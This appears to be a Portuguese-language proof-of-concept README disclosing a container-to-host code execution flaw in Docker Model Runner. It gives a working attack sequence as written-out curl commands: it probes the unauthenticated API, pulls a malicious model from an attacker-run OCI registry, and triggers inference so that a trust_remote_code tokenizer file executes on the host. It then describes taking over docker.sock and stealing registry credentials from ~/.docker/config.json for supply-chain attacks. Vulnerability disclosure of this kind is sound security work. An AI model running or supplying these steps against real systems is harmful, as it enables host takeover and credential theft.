
Docker Model Runner RCE / Escape de contêiner para host: Uma vulnerabilidade crítica que permite a execução de código do contêiner para o host no backend de inferência MLX / SGLANG / VLLM do Docker Model Runner.
Qualquer contêiner em um host Docker Desktop (4.40.0 a 4.67.x) pode executar código no host com duas requisições HTTP. Sem montagem de socket, sem --privileged, sem capabilities.
Todo contêiner pode acessar o Model Runner em model-runner.docker.internal sem autenticação. Ele baixa modelos de qualquer registro OCI para o qual você o aponte e os armazena sem verificar digests. Os backends Python (vLLM, MLX, SGLang) carregam o modelo com trust_remote_code=True (ou, no caso do MLX, nem sequer reconhece trust_remote_code em sua entrada de configuração), o que importa qualquer arquivo .py referenciado pelo modelo em tokenizer_config.json. Esse .py é executado como o usuário do desktop.
Posição inicial: o atacante tem execução de código dentro de qualquer contêiner no host. Imagem base hostil, instalação maliciosa de npm/pip em um workspace de desenvolvimento, um runner de CI coletando código controlado pelo atacante, etc. Sem montagem do socket do Docker, sem --privileged, sem capabilities extras.
Explore o Model Runner.
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 significa que o Model Runner está ativo e acessível a partir deste contêiner. Sem autenticação, sem necessidade de cabeçalho Origin.
Levante um registro OCI malicioso. Qualquer servidor HTTP que implemente a especificação de distribuição OCI funciona. O registro precisa ser alcançável a partir do host (o Model Runner roda no host, não no contêiner). Você pode hospedá-lo na internet pública ou executá-lo localmente e publicar uma porta (docker-compose.yml faz o último para este PoC). Ele serve um modelo Llama mínimo e válido cujo tokenizer_config.json tem um auto_map apontando para evil_tokenizer.py. evil_tokenizer.py é o payload do host. Veja rce_registry.py.
Faça o Model Runner baixar do seu registro.
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
O Model Runner baixa o manifesto e depois cada blob, e os grava em seu armazenamento em disco. Nenhum digest é recalculado ou comparado, nenhuma verificação de assinatura. O modelo malicioso agora está instalado.
substitua as linhas rce_registry.py:45-105 por um payload arbitrário.
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
A prova é gravada em /tmp/poc_rce_proof.
rce_registry.py - registro OCI falso, serve um modelo Llama mínimo além de evil_tokenizer.pytest_claims.py - verifica cada afirmação contra o código-fonte e o sistema em execuçãorun_poc.sh - wrapperdocker-compose.yml - registro + contêiner atacante sem privilégiosDockerfile.registry, Dockerfile.attacker - imagensDispare a inferência para que o modelo seja carregado.
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
O Model Runner escolhe um backend Python (vLLM, MLX ou SGLang) e o inicia com --model <bundle_dir> apontando para o modelo armazenado. O backend chama AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). O Transformers lê tokenizer_config.json, vê o auto_map e importa evil_tokenizer.py do diretório do bundle. O código no nível do módulo é executado no momento da importação.
O payload é executado no host. Ele roda como o usuário do Docker Desktop, fora de qualquer contêiner, com acesso total ao sistema de arquivos e à rede do usuário. A inferência em si geralmente falha (o modelo é pequeno demais para realmente executar), mas isso não importa: a importação aconteceu primeiro.
O que isso dá ao atacante.
/var/run/docker.sock está acessível. Controle do daemon: criar contêineres privilegiados, montar o filesystem do host em um deles, executar em outros contêineres, etc.~/.docker/config.json contém credenciais para todos os registros nos quais o usuário está autenticado. Pivô na cadeia de suprimentos: enviar imagens maliciosas para o upstream.